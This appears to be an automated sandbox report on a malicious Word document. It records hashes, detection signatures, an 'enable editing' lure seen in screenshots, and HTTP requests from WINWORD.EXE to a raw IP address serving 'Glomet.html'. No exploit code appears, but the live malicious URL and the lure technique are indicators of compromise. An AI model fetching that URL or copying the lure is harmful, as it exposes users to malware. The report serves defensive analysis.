Edit tour

Windows Analysis Report
20220714 DWG.doc

Overview

General Information

Sample Name:	20220714 DWG.doc
Analysis ID:	665041
MD5:	5fd0deaaca6ac9645ba3e9aa8af3311c
SHA1:	4823c45cde3606a5189462a8c4441686706d04f3
SHA256:	b78c36823ab0b86b683d165e53405855b8e910c5011997e5a4a4620200cffc0a
Tags:	doc
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

Potential document exploit detected (performs HTTP gets)

Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

Process Tree

System is w7x64

WINWORD.EXE (PID: 2192 cmdline: "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5)

cleanup

HTTP traffic detected: HTTP/1.1 200 OKContent-Type: text/htmlContent-Encoding: gzipLast-Modified: Thu, 14 Jul 2022 16:59:59 GMTAccept-Ranges: bytesETag: "80119226a397d81:0"Vary: Accept-EncodingServer: Microsoft-IIS/10.0Date: Fri, 15 Jul 2022 13:19:28 GMTContent-Length: 4357Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bc 5a 7b 77 da c8 92 ff 7f ce 99 ef a0 70 f7 1e 4c 02 08 49 3c 84 6d bc 27 f1 23 f1 ac f3 18 db 49 26 ce e6 78 5b 52 0b 34 16 6a 5d a9 65 4c b2 f9 ee 5b d5 dd 12 02 04 38 73 37 c3 b1 0c 52 77 d7 ab ab 7e 55 d5 70 f8 c4 63 2e 9f c7 54 9b f0 69 78 f4 eb 2f 87 f8 ae 85 24 1a 8f 6a 34 aa e1 93 27 ad d6 af bf 68 f0 7a cd bc c0 0f a8 a7 f9 09 9b 6a 7c 42 b5 13 ea 04 24 d2 58 12 8c 83 88 84 9a cf 12 ed bd 93 45 3c 93 2b 2e 48 ca b5 2c f6 08 a7 de be 66 76 8c 7e cb 30 5a 46 5f 8e 5e 51 ba 0f 7c 79 9c ee eb 7a 48 b2 c8 9d c4 c4 6b 47 94 eb 4e 36 4e 75 c3 b4 ed fe b0 83 93 5b ad 23 7c 3b 9c 50 e2 1d c9 d5 87 53 ca 89 58 de a2 ff ca 82 fb 51 ed 98 45 9c 46 bc 75 0d fa d4 34 57 de 8d 6a 9c 3e 70 1d d5 3a d0 dc 09 49 52 ca 47 ef af cf 5a 76 4d d3 73 52 3c e0 21 3d 7a 1e 13 77 42 4d a5 01 28 e7 93 2c e4 da 3b 32 06 39 cf b9 36 63 c9 5d 7a a8 cb c9 6a 65 ca e7 21 d5 d0 82 8a 91 9b a6 35 6d 4a bd 80 8c 6a a9 9b 50 69 44 4d 7b aa 7d 93 4b a6 24 01 63 ed 6b 9d f8 a1 7c 1d c8 51 30 80 17 44 e3 ea e1 ef bf fe 82 6f 0e f3 e6 4d b1 61 39 cd 62 95 05 b3 4b d7 81 5c 00 4b 88 7b 37 4e 58 16 79 2d 97 85 2c d9 d7 fe 71 62 9f bc 38 35 8b 19 3e 98 ab e5 93 69 10 ce f7 b5 0f 34 f1 48 44 9a 5a 4a a2 b4 95 d2 24 f0 0f 4a d3 d2 e0 2b 58 c4 30 62 ae 9e a2 e6 2d 12 06 63 d0 cb 05 a3 d3 a4 2c af 17 dc b7 a7 24 88 6e 63 b0 64 21 32 4b 03 1e 30 58 90 d0 90 f0 e0 9e 2a 5a 5e 90 c6 21 01 21 38 71 42 5a c8 37 0b 3c 3e d9 d7 ec 4e a7 a4 96 b4 65 cb 61 9c b3 e9 be d2 b8 34 10 52 9f ef 6b 24 e3 6c f9 39 f8 eb 64 79 60 8b dd 95 05 59 e2 d1 a4 a5 c4 30 0b 4e ea 79 6e 55 d3 30 07 96 bd 3c 26 7c 64 5f 4b 59 18 78 db 76 e4 4c bc 8a 19 bb 8d 8a f6 bc c5 90 a0 49 6e d6 09 95 aa 0d 87 85 84 4a 64 a3 d3 f9 e7 56 ee bd b3 fe d9 60 1b 8b 34 86 58 5f f1 62 a3 57 b2 57 af 6c b0 b2 a7 d8 82 75 f1 74 a6 84 74 58 e8 6d 63 18 4c c7 ab fc ac 12 bb ee fa fe ec 6f 8a 19 24 2d 1c ea 96 f9 b7 0a 1a d2 9c b8 1b 52 02 4b d1 5b 16 ae 05 6e 92 6f 76 85 cf fd 50 a8 6d d9 58 c5 73 bb 9c b7 01 a7 d3 6d c2 56 6d 71 2e 67 77 93 43 ef 94 33 7f dc 11 af 83 7f 4b 78 b2 ba 91 fd 92 58 fd f5 bd 52 ab 6f 53 ea 22 4a 54 b9 c1 cf 31 fe 0a e3 5b 9c bf 06 b3 68 53 1b 3d 50 be 6f b7 58 39 10 3a 2a 10 76 31 8c 13 ba aa b2 ad 8c 65 57 e7 0b 5b 0d d9 2b 22 2d e3 96 b1 8a 5b 0a 9b 3c 40 50 ea 55 43 5a a1 cc 6e e8 28 2b 2c 09 07 1c 6c ed 3e 4e e7 65 8d 0b 54 df ed 1d 72 7d 16 36 37 0f 86 c1 d6 4d 34 2a 98 e4 eb 97 01 76 29 d5 f6 95 0b f6 b7 bb a0 7d 3a 3c 7e 61 ae 79 49 e1 99 9b 81 71 25 e1 9a ff ac 88 c2 ea dc b0 2c fd 6d 02 65 db b7 8d 02 1e 9f 98 46 f7 6c 07 89 71 42 e7 5b 68 0c cf 86 96 dd 2f d3 68 fb 21 83 cc 1e 8d 6f 69 48 a7 20 e5 ce dc 2f 16 fc 18 ae 34 b7 fa 44 01 3b c2 60 1e 75 59 42 24 e7 88 45 f4 b1 39 69 13 ef fd 30 8

Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18
Source: unknown	TCP traffic detected without corresponding DNS query: 45.141.237.18

Source: global traffic	HTTP traffic detected: GET /Glomet.html HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 45.141.237.18Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Glomet.html HTTP/1.1Accept: /User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office; MSOffice 14)UA-CPU: AMD64Accept-Encoding: gzip, deflateHost: 45.141.237.18If-Modified-Since: Thu, 14 Jul 2022 16:59:59 GMTIf-None-Match: "80119226a397d81:0"Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /icons/ubuntu-logo.png HTTP/1.1Accept: /Referer: http://45.141.237.18/Glomet.htmlAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 45.141.237.18Connection: Keep-Alive

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/10.0Date: Fri, 15 Jul 2022 13:19:30 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 7

Source: ~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp.0.dr, ~WRS{2D922950-B6AB-4AD8-83F9-D5771B48C810}.tmp.0.dr	String found in binary or memory: http://45.141.237.18/Glomet.html
Source: ~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp.0.dr	String found in binary or memory: http://45.141.237.18/Glomet.htmlyX
Source: 72919526.htm.0.dr, 2264EBF3.htm.0.dr, Glomet[1].htm.0.dr	String found in binary or memory: http://httpd.apache.org/docs/2.4/mod/mod_userdir.html
Source: 72919526.htm.0.dr, 2264EBF3.htm.0.dr, Glomet[1].htm.0.dr	String found in binary or memory: https://bugs.launchpad.net/ubuntu/
Source: 72919526.htm.0.dr, 2264EBF3.htm.0.dr, Glomet[1].htm.0.dr	String found in binary or memory: https://launchpad.net/bugs/1288690

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{45930AE1-8162-4D9A-BE35-4DB39144DF11}.tmp

Jump to behavior

System Summary

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Document image extraction number: 0	Screenshot OCR: enable editing" to view content ~ 0 ~ 0 4~~ - m gm " . ~ ~ m~ ~ Wp 0 0 mb ~ "
Source: Document image extraction number: 1	Screenshot OCR: enable editing" to view content wm .~ ~ - D m
Source: Screenshot number: 12	Screenshot OCR: enable editing" to view content , ii:, ^ Cl m ~ "" au":,g

Source: ~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR696C.tmp

Jump to behavior

Source: classification engine

Classification label: mal48.winDOC@1/19@0/1

Source: ~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp.0.dr	OLE document summary: title field not present or empty
Source: ~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp.0.dr	OLE document summary: author field not present or empty
Source: ~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp.0.dr	OLE document summary: edited time not present or 0

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: 20220714 DWG.LNK.0.dr

LNK file: ..\..\..\..\..\Desktop\20220714 DWG.doc

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\Desktop\~$220714 DWG.doc

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: ~WRF{3BCD92F0-1C3B-4D0C-AD4B-E4107D6CB424}.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
